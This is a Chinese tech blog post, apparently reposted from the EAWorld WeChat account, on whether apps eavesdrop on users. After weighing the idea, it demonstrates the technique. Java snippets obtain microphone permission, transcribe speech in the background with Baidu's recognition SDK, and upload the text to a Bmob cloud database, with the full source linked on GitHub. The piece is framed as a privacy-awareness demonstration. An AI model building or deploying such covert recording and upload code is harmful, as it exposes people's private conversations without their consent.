手机软件偷听日常生活(app会窃听吗)

转载本文需注明出处:微信公众号EAWorld,违者必究。

产品经理

4/18 9:00

做个需求,监听一下用户今天说过哪些关键词(商品),等它打开App的时候精准推送给它,三天上线可以吧?

开发

4/18 9:01

。。。。。。


4/21 9:00

为什么我每次刚说完要买什么东西,再打开购物软件时,首页总是会无比惊悚的来一个精准推荐呢?它们肯定偷听了!

产品经理

4/21 9:01

嘘,少胡说八道。读书人的事,那能叫偷嘛。

   

哼,早晚抓它们进去陪张三!

每当跟朋友聊天说到什么商品后,再次打开某条某宝就会看到一些精准的推荐,好像App“听”到了我们的谈话一样,相信很多小伙伴都感同身受。

到底App有没有悄悄地监听呢?

洗白开始

心理学中有一种叫做"孕妇效应”,就是当人怀孕了就更容易发现孕妇,你开了奔驰就更容易看到奔驰,你拎个LV就发现满大街都是LV。

其实App首页每天都有包包,你今天恰巧跟同事说到要买,回去再打开某宝发现居然真的给你推荐了包包?

好像也像那么回事。

继续诡辩

首先,想要录音App总得有录音权限吧,你来教我在哪里申请权限?

第二,录音得到的数据是离线处理还是传到后台处理呢,就算以低码率录音,每天也要产生至少1个G的录音数据。

第三,用户群体中不说普通话的用户比例有多少,目前语音识别率在我们日常对话的场景里还不够,更别说方言了。

第四,对于每天都在进化的国产系统,长时间使用录音接口,最新的MIUI是会弹窗提示的,弹窗点进去还可以一键关闭当前App的录音权限,不要小看了这些厂商的安全能力。

第五,大多数公司都有自建的基于用户习惯等维度的推荐系统,有着完备的用户画像,你非要这么玩,事情败露了你担得起吗!

真没问题?

在当今移动互联网环境下,想要证实或者证伪都很有难度,所以只能希望大家相信大厂,相信科技向善,相信王欣,相信......除非找到了代码实锤。

实现原理

不管大厂有没有做,我们仍然对此好奇从技术上能否实现这一操作,让我们来看一下可行的方案。

方法A

App借助比如发送语音、语音搜索、语音输入等功能获取到录音权限,之后就在后台间歇性启动录音,并识别其中的关键词,推荐系统获取到关键词之后就可以进行精准推荐了。

由于App申请权限只有第一次会弹框给用户确认, 所以获取权限之后可以随意启动录音。

当然,也可以App启动时申请录音权限,不同意就退出应用,呵呵,真想打死你。

方法B

大数据背景下的数据共享。

App不去主动监听用户的谈话内容,可以向已经窃听到相关数据的厂商付费购买,App之间共享数据在技术上是很成熟的,那么手机里只要有一款App获取到敏感数据,你的隐私将不复存在。

说的好听是"数据共享",实际上不就是出售用户数据嘛,做的那么过分,真当黑哥不接单的?

欢迎大家把怀疑的App发在评论区~

我先来,XX输入法

方法C

加速度传感器窃听。

“加速度传感器是目前智能手机中最常见的一种嵌入式传感器,它主要用于探测手机本身的移动,常见的应用场景包括移动检测,步数统计和游戏控制等。”

由于声音信号是一种由震动产生的可以通过气态,液态,固态的各类介质进行传播的声波,而手机扬声器发出的声音会作用在手机上引起震动,这种震动可以被手机上的加速度传感器灵敏的捕捉到,因此可以通过加速度传感器的数据提取出关键字信息。

这并非耸人听闻,由浙江大学、麦吉尔大学、多伦多大学团队共同发表了有关加速度传感器窃听的成果(https://dwz.cn/dgkygjzH),经过测试,关键词的识别准确率达到了90%。

更加可怕的是在现行法律下,采集智能设备传感器数据这一行为并不违法,这也就意味着这种窃听方式目前还处于法律的灰色地带。而且在智能手机上获取传感器数据对于用户来说是无感知的,无需用户确认便可以获取相关权限。

实践

接下来,我们将就方法A搭建项目并实现,项目源码会放在结尾处。

使用到的技术

本次实践使用PermissionAnywhere进行录音权限的申请(请参考《如何优雅地申请Android运行时权限》),百度语音识别sdk完成录音转文字,使用Blob云数据库实现数据上传云端。

权限

使用PermissionAnywhere申请录音权限

(https://github.com/mingyuers/PermissionAnywhere)

PermissionAnywhere.requestPermission(this, new String[]{Manifest.permission.RECORD_AUDIO}, new PermissionCallback() {    
  @Override    
  public void onComplete(ListgrantedPermissions, ListdeniedPermissions, ListalwaysDeniedPermissions) {       
    if (grantedPermissions != null) {            //开始录音            start();        
    }    
  }});

录音及识别

使用百度语音识别的sdk,将录音转化为文字。

private void start() {    
  asr = EventManagerFactory.create(context, "asr");    
  Mapparams = new LinkedHashMap();    
  String event  = SpeechConstant.ASR_START;     
  params.put(SpeechConstant.ACCEPT_AUDIO_VOLUME, false);     
  params.put(SpeechConstant.PID, 1537); // 中文输入法模型,有逗号    
  String json = new JSONObject(params).toString(); // 这里可以替换成你需要测试的json    
  asr.send(event, json, null, 0, 0);
}

上传

上传阶段我们使用了Bmob的sdk,直接将录音得到的数据上传到云数据库。

public void upload(String str) {    
  RecordBean recordBean = new RecordBean("q8", str);    
  recordBean.save(new SaveListener() {        
                  @Override        
                  public void done(String s, BmobException e) {            
    Log.d(TAG, "done: "   s);        
  }    
});}

效果

我们可以看到,申请到手机录音权限后,将手机放在一旁,只要我们在说话,App就会录音并识别出来,也可以按需求提取其中的关键字,识别率还是不错的。

代码下载地址

以上完整代码已开源到:

github[https://github.com/mingyuers/FuckRecord]

先说好,仅供大家研究学习。<手动狗头>

写在最后

2016年,支付宝被爆出每隔X分钟(服务端指定)会在后台开启摄像头拍照,录音X秒,然后上传到服务器上。不过后来也被支付宝官方辟谣,并声称不会在用户不知情的情况下对用户进行拍照、录音。

我们愿意相信大厂,毕竟他们有大把的方案去做精准推荐。但只要拥有相关权限,就的确能做到在后台神不知鬼不觉的做一些事情,这种事情永远不会有结果。

科技,我劝你向善。当然,老罗除外。

关于作者:明月,现任普元移动团队资深开发工程师,长期致力于IT技术研究,产品设计和开发等工作,擅长Java、NodeJs、ReactNative等领域技术。先后参加深圳登、太平洋保险等移动项目的实施,参与Mobile 8.0移动平台的设计开发工作。

关于EAWorld:微服务,DevOps,数据治理,移动架构原创技术分享。

(0)

相关推荐

  • 十大有意思的手机软件:日常生活离不开的手机APP有哪些?

    互联网的发展改变了完美的生活消费方式,智能手机的普及把这种生活消费方式进一步放大.随着人手一部智能手机以及遍地的WiFi覆盖时代的来临,手机上上的一些APP软件越来越成为人们不可缺少的生活辅助工具.十 ...

  • 怎么开启手机软件当当云阅读APP消息推送功能

    有小伙伴问手机软件当当云阅读中怎么开启消息推送,下面小编分享一下.具体如下:1. 打开手机桌面的[当当云阅读].2. 点击箭头指示的[我的].3. 再点击箭头指示的[设置]图标.4. 点击打开[通用开 ...

  • 掌上生活App如何解绑银行卡?

    招商银行信用卡申请后,还款前都需绑定一张借记卡,如果这张借记卡注销了或者不想再使用这张借记卡进行还款了,就可以将其掌上生活App里接触绑定.如何解绑呢?小编为你演示. 操作方法 01 打开手机的掌上生 ...

  • 简单了解一下掌上生活APP的基础功能?

    如果你有使用招商银行信用卡,那么你一定有下载"掌上生活"APP吧!但是你会用这个APP吗?今天小编给大家分享一下"掌上生活"APP的基础功能,希望能帮到大家. ...

  • 手机上有哪些软件是不可缺少的呢?手机日常生活必备软件(15款)

    手机日常生活必备的软件必然是关系到日常生活方方面面的应用软件.比如社交类的微信QQ微博等,搜索引擎类的QQ浏览器,UC浏览器,电子商城类的淘宝京东蘑菇街等,支付类的支付宝等.手机日常生活必备软件包括许 ...

  • 手机掌上生活app怎么将已经绑定的银行卡删除掉

    掌上生活是我们现在经常使用的软件之一,今天小编就告诉大家手机掌上生活app怎么将已经绑定的银行卡删除掉.具体如下:1. 首先我们打开手机的的掌上生活.2.进入主界面之后点击最中间的登陆.3. 当登陆完 ...

  • 手机掌上生活app无卡支付功能如何添加银行卡

    掌上生活app 是我们现在经常使用的软件之一,今天小编跟大家分享的就是手机掌上生活app无卡支付功能如何添加银行卡.具体如下:1. 首先我们打开手机中的掌上生活.进入主界面之后点击下方的我的.2. 然 ...

  • 高效工作生活的必备手机软件

    现在工作,生活都离不开手机了.下面我来为大家推荐一些工作,生活的必备手机软件吧. 操作方法 01 WPS:可以随时随地的在手机上办公.功能有文字,表格,还可以制作幻灯片.减少了用电脑制作word文档的 ...

  • 微信小程序和APP有什么区别 微信小程序和App手机软件对比评测

    “小程序是一种不需要下载安装即可使用的应用,它实现了应用‘触手可及’的梦想,用户扫一扫或搜一下即可打开应用:也体现了‘用完即走’的理念,用户不用关心是否安装太多应用的问题.应用将无处不在,随时可用,但 ...